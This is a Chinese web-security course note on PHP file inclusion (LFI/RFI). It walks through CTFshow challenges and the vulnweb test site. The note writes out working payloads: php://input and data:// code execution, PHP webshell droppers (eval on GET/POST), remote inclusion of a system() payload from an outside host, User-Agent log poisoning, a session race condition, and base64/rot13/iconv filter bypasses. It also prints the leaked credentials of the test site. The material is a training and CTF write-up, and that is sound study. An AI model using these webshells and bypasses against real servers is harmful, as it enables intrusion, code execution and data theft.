050-WEB攻防-PHP应用文件包含LFIRFI伪协议编码算法无文件利用黑白盒

050-WEB攻防-PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒

#知识点:

1、文件包含-原理&分类&危害-LFI&RFI
2、文件包含-利用-黑白盒&无文件&伪协议

演示案例:

➢文件包含-原理&分类&利用&修复
➢黑盒利用-VULWEB-有无包含文件
➢白盒利用-CTFSHOW-伪协议玩法

Untitled

Untitled

#文件包含-原理&分类&利用&修复

1、原理

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,
直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。
在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞

文件包含 包含的文件就被当做当前脚本语言去代码执行了

漏洞原因:
1、使用文件包含函数
2、包含的文件可控

漏洞简单复现:

  1. 创建include.php文件,代码**include($_GET['file']);:使用include函数来包$_GET['file'],这是危险的做法,因为用户可以通过修改URL参数传递恶意文件路径,导致安全漏洞。**

  2. 创建2.txt,代码内容<?php phpinfo();?>

  3. 访问对应文件路径,并传递参数http://192.168.137.1:84/include.php?file=2.txt

  4. 相当于include('2.txt');

    Untitled

漏洞分类:

本地包含-Local File Include-LFI
远程包含-Remote File Include-RFI
差异原因:代码过滤和环境配置文件开关决定

  1. 找到对应的小皮PHP设置中的远程包含并开启或者在对应==网址服务的PHP版本下找到php.ini文件,并将allow_url_include=Off改为On即可==

  2. 通过远程服务,创建file.txt内容为<?php phpinfo();?>并使用远程包含,将对应文件地址替换为远程创建的文件的ip访问地址即可

    Untitled

    Untitled

Untitled

Untitled

2、白盒审计:(CTFSHOW)

白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等

PHP:include、require、include_once、require_once等
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require函数出现错误的时候,会直接报错并退出程序的执行
Java:java.io.File、java.io.FileReader等
ASP.NET:System.IO.FileStream、System.IO.StreamReader等

3、黑盒分析:

黑盒发现:主要观察参数传递的数据和文件名是否对应
URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼

4、利用

本地利用思路:

1、配合文件上传(上传一个文件 文件写有我们的恶意代码)
2、无文件包含日志
3、无文件包含SESSION
4、无文件支持伪协议利用

php://input与data://都需要开启allow_url_include才能使用

Untitled

参考:https://blog.csdn.net/unexpectedthing/article/details/121276653

文件读取:

  1. file:///d:/1.txt,读取d盘下的1.txt文件内容(绝对路径)
  2. php://filter/read=convert.base64-encode/resource=1.php
    读取名为1.php的文件**(当前网址存放源码目录下),并将其内容以base64编码的形式返回。(相对路径)**
    1. PD9waHAgcGhwaW5mbygpOz8+通过解码后是<?php phpinfo();?>
  3. http://192.168.137.1:84/include.php?file=php://filter/read=convert.base64-encode/resource=…/…/…/1.txt
    还可以进行跨目录访问
file:///etc/passwd
这个示例尝试读取系统中的/etc/passwd文件。在类Unix系统上,这是包含用户帐户信息的文件。

php://filter/read=convert.base64-encode/resource=phpinfo.php
这个示例尝试读取名为 phpinfo.php 的文件,并将其内容以base64编码的形式返回。

Untitled

Untitled

Untitled

文件写入:

  1. http://192.168.137.1:84/include.php?file=php://input在Post data中写入<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>成功写入文件并可以访问执行
  2. http://192.168.137.1:84/include.php?file=php://filter/write=convert.base64-encode/resource=phpinfo.php** 在Post data中写入content=131成功写入文件并可以访问执行
    1. **file_put_contents($_GET['file'],$_POST['content']); 使用该方式执行文件写入,必须要在代码中有这个才可以**
    2. $_GET['file']: 通过GET请求传递的**file**参数,用于指定要写入内容的文件路径。这可能包含相对或绝对路径,具体取决于如何使用该代码
    3. $_POST['content']: 通过POST请求传递的**content**参数,用于指定要写入到文件中的内容。这是用户提供的数据,可以是任何字符串。
    4. 该代码的主要目的是将通过POST请求传递的内容写入指定的文件。
php://filter/write=convert.base64-encode/resource=phpinfo.php
这个示例尝试将base64编码的内容写入名为 phpinfo.php 的文件中。

php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
这个示例通过php://input伪协议,尝试通过POST请求将一个PHP脚本写入名为 shell.php 的文件中。
该脚本是一个简单的 PHP Webshell,允许通过URL参数执行任意代码

Untitled

Untitled

代码执行:

  1. http://192.168.137.1:84/include.php**?file=php://input** 在Post data中写入<?php phpinfo();?>

  2. <[http://192.168.137.1:84/include.php?file=data://text/plain,<?php](http://192.168.137.1:84/include.php?file=data://text/plain,%3C?php)> phpinfo();?> 使用data代码执行,直接在data后面跟上想要执行的代码即可

  3. http://192.168.137.1:84/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B

    Untitled

Untitled

Untitled

php://input POST:<?php phpinfo();?>
这个示例通过php://input伪协议,尝试通过POST请求执行 phpinfo() 函数。

data://text/plain,<?php phpinfo();?>
这个示例尝试通过 data:// 伪协议执行 phpinfo() 函数。

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
这个示例使用 data:// 伪协议,通过base64编码的方式执行 phpinfo() 函数。

远程利用思路:

直接搭建一个可访问的远程URL包含文件

  1. 找到对应的小皮PHP设置中的远程包含并开启或者在对应==网址服务的PHP版本下找到php.ini文件,并将allow_url_include=Off改为On即可==

  2. 通过远程服务,创建file.txt内容为<?php eval($_POST["pass"]);?>并使用远程包含,将对应文件地址替换为远程创建的文件的ip访问地址即可

  3. 通过哥斯拉连接后门,成功获取权限

    Untitled

    Untitled

Untitled

5、修复见网上参考方案

#黑盒利用-VULWEB-有无包含文件

http://testphp.vulnweb.com/showimage.php?file=index.php

  1. 发现数据包存在文件包含和替换的关键词?file=showimage.php

  2. 访问该页面,并尝试抓取数据包,替换file 后的文件名如:index.php

  3. 发现回显出index.php源码,暴露出数据库配置文件database_connect.php

  4. 将文件再次替换为==数据库配置文件 ,并发送数据包,发现得到数据库隐私数据库名和密码等信息==

    **<?PHP
    	$connection = mysql_connect('127.0.0.1', 'acuart', 'trustno1')
    		or die('Website is out of order. Please visit back later. Thank you for understanding.');**
    		
    	mysql_select_db('acuart', $connection)
    		or die('Website is out of order. Please visit back later. Thank you for understanding.');
    ?>
    

    Untitled

    Untitled

    Untitled

#白盒利用-CTFSHOW-伪协议玩法

https://ctf.show/challenges

  1. 打开官网,选择对应的题目web入门

  2. 选择78题,启动靶场

    Untitled

78-php&http协议

  1. 代码给出include文件包含的关键词
  2. 由于是无文件上传,所以使用无文件支持伪协议利用
  3. 两种方式:
    1. 第一种直接通过文件读取**(相对路径)php://filter/read=convert.base64-encode/resource=flag.php读取名为flag.php的文件(当前网址存放源码目录下)**,并将其内容以base64编码的形式返回,并通过解密拿到flag。
    2. 第二种:使用文件执行
      1. ?file=data://text/plain,<?php system('ls');?> 可以获取当前目录文件发现有一个flag.php
      2. ?file=data://text/plain,<?php system('tac flag.php');?> 即可读取flag.php的中的内容。
        1. **system函数执行tac命令,该命令用于反向输出文件内容(以行为单位)。在这里,它尝试反向输出flag.php文件的内容。如果flag.php**文件存在并可读,那么该文件的内容将被反向显示。

Untitled

Untitled

Untitled

Untitled

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
payload: ?file=php://input post:<?php system('tac flag.php');?>
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

79-data&http协议

Untitled

  1. 代码给出include文件包含的关键词
  2. 由于是无文件上传,所以使用无文件支持伪协议利用
  3. 发现对与文件名做了php关键词过滤
  4. 在PHP中,<?= ... ?> 是短标签(short tags)的一种形式,用于简洁地输出内容,等同于 <?php echo ... ?>。而 <?php ... ?> 是标准的PHP起始和结束标记。
  5. 两种方式:
    1. 将文件执行中,直接去掉php关键词,依旧可以正常执行
      1. ?file=data://text/plain,**<?=system('ls');?>** 可以获取当前目录文件发现有一个flag.php
      2. ?file=data://text/plain,**<?=system('tac flag*');?>** 即可读取flag.php的中的内容。成功获取到flag
    2. 使用文件执行,将数据流协议(data://)和base64编码的方式,将PHP代码嵌入URL中
      1. data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
      2. 解码为:<?php system('tac flag.php'); ?>

payload: ?file=data://text/plain,<?=system('tac flag.*');?>
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

Untitled

Untitled

Untitled

Untitled

Untitled

80 81-日志包含

Untitled

1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:/var/log/nginx/access.log

  1. 代码给出include文件包含的关键词

  2. 由于是无文件上传,所以使用无文件支持伪协议利用

  3. 发现对与文件名做了php关键词和data关键词过滤

  4. 两种方式:

    1. 第一种,使用文件执行PHP://input,并使用大小写绕过其对php的过滤

      1. **?file=PHP://input POST data:<?=system('ls');?>**中写上对应的去掉PHP关键词php语句即可

      2. ?file=PHP://input POST data:<?=system('tac fl0g.*');?>中写上对应的去掉PHP关键词php语句,和文件匹配的后缀,更改为*号

      3. 成功拿到flag

        Untitled

        Untitled

    2. 第二种使用==日志记录文件包含,利用日志记录UA信息,UA带入代码==

      1. 使用文件读取:**file:///var/log/nginx/access.log ,读取对应的日志文件内容(绝对路径),成功读取
      2. 通过抓包,抓取到数据包,发送至repeater,并尝试修改UA头中的内容,修改成功,于是尝试在UA头中写入恶意代码:
        1. User-Agent: 222222222<?php=system('ls')?>并发送数据包,成功写入==,并被解析fl0g.php index.php==
        2. User-Agent: 333333333<?php system('tac fl0g.php')?>并发送数据包,成功写入,并被解析$flag="ctfshow{56017f9c-6037-4f27-bd84-ed6bffd417fa}

    Untitled

    Untitled

    Untitled

Untitled

Untitled

82-86-SESSION包含

自定义session名字,条件竞争访问session文件,触发创建新文件

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

1.简单来说,上面这个选项开启以后,上传文件,我们能够POST请求查看上传进度
2.我们在session中写入我们要执行的代码
3.用户可以自己定义Session ID,比如在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:**/tmp/sess_flag**,我们能够命名'sess_'后面的名字
4.之后要执行就要包含这个session文件
5.默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,就会清除进度信息
6.于是我们需要条件竞争来读取文件,所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码,在文件上传中很常见

Untitled

保以下配置项在 php.ini 文件中已启用:

session.upload_progress.enabled = On

使用 PHP_SESSION_UPLOAD_PROGRESS 时,通常会在上传表单中添加一个隐藏字段,将这个会话变量的值传递给服务器,以便服务器能够跟踪上传的进度。在你提供的HTML代码中,就有一个用于设置 PHP_SESSION_UPLOAD_PROGRESS 值的隐藏字段。

https://www.cnblogs.com/lnterpreter/p/14086164.html

https://www.cnblogs.com/echoDetected/p/13976405.html

  1. 在本地创建文件上传代码如下,并将==上传URL更改为对应的靶场网址==

    <!DOCTYPE html>
    <html>
    <body>
    <form action="[http://xxxx.ctf.show/](http://xxxx.ctf.show/)" method="POST" enctype="multipart/form-data">
    **<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />**
    <input type="file" name="file" />
    <input type="submit" value="submit" />
    </form>
    </body>
    </html>
    

    Untitled

  2. 运行创建的网址,并随意上传文件,通过burp抓包,并加入Cookie: PHPSESSID=wusuowei,自定义Session ID

    Untitled

  3. 由于session.upload_progress.cleanup是开启的==,一旦读取了所有POST数据,就会清除进度信息==于是我们需要条件竞争来读取文件,所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码。

    1. 将上传文件的数据包发送至Intruder,选择Clear$后Playloads→Playload type:Null payloads , Payload Options →Continue indefinitely==(无限发送上传文件数据包)==
    2. 将访问上传文件的请求数据包抓取并发送至Intruder,选择Clear$后Playloads→Playload type:Null payloads , Payload Options →Continue indefinitely==(无限发送访问请求数据包)==
      1. http://8dc5c2cc-397c-46d6-a28d-3b202ca37b6a.challenge.ctf.show/?file=/tmp/sess_wusuowei

    Untitled

    Untitled

    Untitled

Untitled

Untitled

87-php://filter/write&加密编码(文件写入,二次解密)

Untitled

  • 正常来讲,浏览器会默认执行URL解码一次,但是提供代码中又加入了一次urldecode($file),二次解码,造成之前的过滤失效
  1. 利用base64:

    1. url编码2次:php://filter/write=convert.base64-decode/resource=123.php

    2. Post data:写入==content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg====

      1. 需要补全数位aa

      Untitled

      Untitled

    3. 解码为<?php @eval($_POST[a]);?>(木马设置的密码为:a)

    4. 通过访问,创建木马文件123.php,http://e57a2227-b187-459c-8172-ed70850fee7c.challenge.ctf.show/123.php

    5. 并通过输入Post data:写入a=system(’ls’);(通过木马密码进行替换操作)

    6. 并通过输入Post data:写入a=system(‘tac fl0g.php’);

      Untitled

      Untitled

  2. 利用凯撒13:

    1. url编码2次:php://filter/write=string.rot13/resource=2.php

    2. Post data:写入==content=<?cuc riny($_CBFG[1]);?>==

      1. ROT13解密:<?php eval($_POST[1]);?>(木马设置的密码为:1)

      Untitled

      Untitled

    3. 通过访问,创建木马文件2.php,http://e57a2227-b187-459c-8172-ed70850fee7c.challenge.ctf.show/2.php

    4. 并通过输入Post data:写入1=system(’ls’);(通过木马密码进行替换操作)

    5. 并通过输入Post data:写入1=system(‘tac fl0g.php’);

    Untitled

    Untitled

88-data&base64协议

Untitled

  1. 过滤PHP,各种符号,php代码编码写出无符号(+和=)base64值
  2. Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
  3. 解密:<?php system('tac *.php');echo 123;?>ad**(为了去掉+和=)**
    1. 直接写<?php system('tac *.php');?>,会出现被过滤的号==

Untitled

117-php://filter/write&新的算法

Untitled

将众多编码形式做了过滤包括 http, https, utf, zlib, data, input, rot13, base64, string, log, sess,不区分大小写(i 标志)。

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

参考文章:

文件包含漏洞+php伪协议_文件包含漏洞伪协议利用-CSDN博客

Untitled

<?php
/* 将字符串 '<?php eval($_POST[a]);?> 从 UCS-2LE 编码转换为 UCS-2BE 编码*/
$result = iconv("UCS-2LE", "UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
//经过一次反转:?<hp pvela$(P_SO[T]a;)>?

// 将经过一次编码转换后的字符串再次从 UCS-2LE 编码转换为 UCS-2BE 编码
echo "经过第二次反转:".iconv("UCS-2LE", "UCS-2BE", $result);
//经过第二次反转:<?php eval($_POST[a]);?>
?>
  1. Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
  2. Post data 中写入:**contents=**?<hp pvela$(P_SO[T]a;)>?
  3. 解码为:<?php eval($_POST[a]);?>(木马设置的密码为:a)
  4. 通过访问,创建木马文件a.php,http://e57a2227-b187-459c-8172-ed70850fee7c.challenge.ctf.show/123.php
  5. 并通过输入Post data:写入a=system(’ls’);(通过木马密码进行替换操作)
  6. 并通过输入Post data:写入a=system(‘tac flag.php’);

Untitled

Untitled

Untitled

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/449907.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

解决达梦集成 JPA 时表和字段注释注解不生效的问题

前言 最近在做达梦数据库集成 JPA 时&#xff0c;发现使用的表注解和字段注解均未生效&#xff08;MySQL、Oracle、PostgreSQL中均可以在建表时正常生成相应的注释&#xff09;&#xff0c;经过调试发现解决办法也很简单&#xff1a; 自定义方言类继承自org.hibernate.dialect…

vue3 动态路由及使用动态路由后刷新界面出现空白页或者404

最近编写vue3动态路由的功能遇到了一些问题&#xff0c;处理好了&#xff0c;总结出来&#xff0c;希望能帮助到你。正片开始 先写好本地缓存菜单的方法&#xff08;存储、删除、获取&#xff09; // utils/menu.jsconst getMenuList () > {return JSON.parse(localStorag…

C语言——简易版扫雷

目录 前言 ​编辑 游戏规则 游戏结构的分析 游戏的设计 使用多文件的好处有以下几点&#xff1a; 游戏代码实现 框架&#xff08;test.c&#xff09; game函数&#xff08;test.c&#xff09; InitBoard初始化&#xff08;game.c&#xff09; Print打印棋盘&#xff08;g…

【物联网设备端开发】FastBee Arduino固件开发指南

目录 一、收集数据 二、打开FastBeeArduino 源码 三、修改 Config.cpp 文件 四、修改物模型数据 五、小程序配网 本文以 WeMOS D1 R1&#xff08;8266WIFI 模块&#xff09;固件开发为例&#xff0c;实现以下功能&#xff1a; 设备认证设备 Mqtt 交互Wifi 类设备配网 一…

vue学习笔记23-组件事件⭐

组件事件 在组件的模板表达式中&#xff0c;可以直接使用$emit方法触发自定义事件&#xff1b;触发自定义事件的目的是组件之间传递数据 好好好今天又碰到问题了&#xff0c;来吧来吧 测试发现其他项目都可以 正常的run ,就它不行 搜索发现新建项目并进入以后&#xff0c;用指…

搭建mysql主从复制(主主复制)

1&#xff1a;设主库允许远程连接(注意&#xff1a;设置账号密码必须使用的插件是mysql_native_password&#xff0c;其他的会连接失败) #切换到mysql这个数据库&#xff0c;修改user表中的host&#xff0c;使其可以实现远程连接 mysql>use mysql; mysql>update user se…

使用C#创建服务端Web API

前言 C# Web API 是一种基于 .NET 平台&#xff08;包括但不限于.NET Framework 和 .NET Core&#xff09;构建 HTTP 服务的框架&#xff0c;用于创建 RESTful Web 服务。REST&#xff08;Representational State Transfer&#xff09;是一种软件架构风格&#xff0c;它利用HT…

linux中查看目录文件(ls)用法:

查看目录下的文件&#xff1a;ls&#xff08;list&#xff09; 作用 查看目录下的内容 格式 ls -参数 操作对象参数 参数功能-l以长格形式显示文件和目录的详细信息,ls命令默认只显示名称的短格式。-d显示指定目录本身的信息,而不显示目录下的各个文件和子目录的信息。-…

【机器学习】机器学习是什么?用在哪里?怎么用?

1.机器学习是什么&#xff1f; 机器学习&#xff08;Machine Learning&#xff09;是人工智能的一个分支&#xff0c;它是一种通过对数据进行训练和学习&#xff0c;让计算机系统从中获取知识并改善性能的方法。简而言之&#xff0c;机器学习使计算机具有从数据中学习并自动改…

信息系统项目管理师009:消费互联网(1信息化发展—1.3现代化创新发展—1.3.3 消费互联网)

文章目录 1.3.3 消费互联网1.基本属性2.应用新格局 1.3.3 消费互联网 消费互联网是以个人为用户&#xff0c;以日常生活为应用场景的应用形式&#xff0c;满足消费者在互联网中的消费需求而生的互联网类型。消费互联网以消费者为服务中心&#xff0c;针对个人用户提升消费过程的…

机器学习模型—支持向量机 (SVM)

机器学习模型—支持向量机 (SVM) 支持向量机 (SVM) 是一种强大的机器学习算法,用于线性或非线性分类、回归,甚至异常值检测任务。SVM 可用于各种任务,例如文本分类、图像分类、垃圾邮件检测、笔迹识别、基因表达分析、人脸检测和异常检测。SVM 在各种应用中具有适应性和高效…

Github上哪些好用的工具

专注于web漏洞挖掘、内网渗透、免杀和代码审计&#xff0c;感谢各位师傅的关注&#xff01;网安之路漫长&#xff0c;与君共勉&#xff01; Qexo-爱写博客的师傅强烈推荐 漂亮的 Hexo 静态博客编辑器。该项目是基于 Django 的 Hexo 静态博客管理后台&#xff0c;支持文章管理、…

【Linux杂货铺】操作系统

目录 &#x1f308;前言&#x1f308; &#x1f4c1; 冯诺依曼体系结构 &#x1f4c2; 拓展问题&#xff1a;程序为什么要被加载到内存&#xff1f; &#x1f4c2; 主机与主机的交互 &#x1f4c1; 操作系统的概念 &#x1f4c2; 作用 &#x1f4c2; 理解“管理” &#x…

Hadoop学习3:问题解决

文章目录 问题解决1. ERROR: but there is no HDFS_NAMENODE_USER defined2. JAVA_HOME is not set and could not be found.3. Hadoop-DFS页面访问不了4. namenode格式化失败&#xff0c;或者dfs页面打开失败5. ERROR: but there is no YARN_RESOURCEMANAGER_USER defined. Ab…

YOLOv5独家改进:backbone改进 | 最新大卷积核CNN架构UniRepLKNet,ImageNet 88% | CVPR2024

💡💡💡本文独家改进:大核卷积一统多种模态!RepLK正统续作UniRepLKNet,代替YOLOv5 Backbone 改进结构图如下: 收录 YOLOv5原创自研 https://blog.csdn.net/m0_63774211/category_12511931.html 💡💡💡全网独家首发创新(原创),适合paper !!! 💡…

对于双列集合map的学习

双列集合 特点 1.双列集合一次需要存一对数据&#xff0c;分别是键和值。 2.键和值一一对应&#xff0c;键不能重复&#xff0c;值能重复。 3.键值这个整体我们称之为键值对或者键值对对象&#xff0c;在java中叫做Entry对象。 Map的常见API Map是双列集合的顶层接口&…

ChatGLM:基于ChatGLM-6B使用ptuning进行微调,实现类instruction的效果

由于业务需要&#xff0c;调研下怎么训练一个虚拟角色出来&#xff0c;所以找了一些文档参考&#xff0c;其中有一个基于ChatGLM-6B使用ptuning进行微调&#xff0c;实现类instruction的效果的现成的项目&#xff0c;给大家分享下。 一、介绍 由于ChatGLM-6B 不支持instructio…

五子棋小游戏(sut实验报告)

实验目的 实现人与人或人与电脑进行五子棋对弈 实验内容 启动游戏&#xff0c;显示游戏参数设置界面&#xff0c;用户输入参数后进入游戏界面&#xff0c;显示棋盘及双方博弈过程&#xff0c;游戏过程中可选择退出游戏。判定一方获胜后结束本局游戏&#xff0c;可选择继续下…

Qt/QML编程之路:基于QWidget编程及各种2D/3D/PIC绘制的示例(45)

关于使用GWidget,这里有一个示例,看了之后很多图形绘制,控件使用,及最基本的QWidget编程都比较清楚了。ui的绘制: 运行后的界面如 工程中有非常丰富的关于各种图形的绘制,比如上图中circle,还有image。有下面一段readme的说明: # EasyQPainter Various operation pra…

容量治理三板斧:扩容、限流与降级

前言 随着现代软件系统日益复杂和用户规模的不断增长&#xff0c;分布式架构成为了保持系统高可用性与高性能的标准解决方案。然而&#xff0c;随之而来的是对系统容量治理的新挑战。在这样的背景下&#xff0c;容量治理成为了分布式系统设计和运维中不可或缺的一环。要确保系…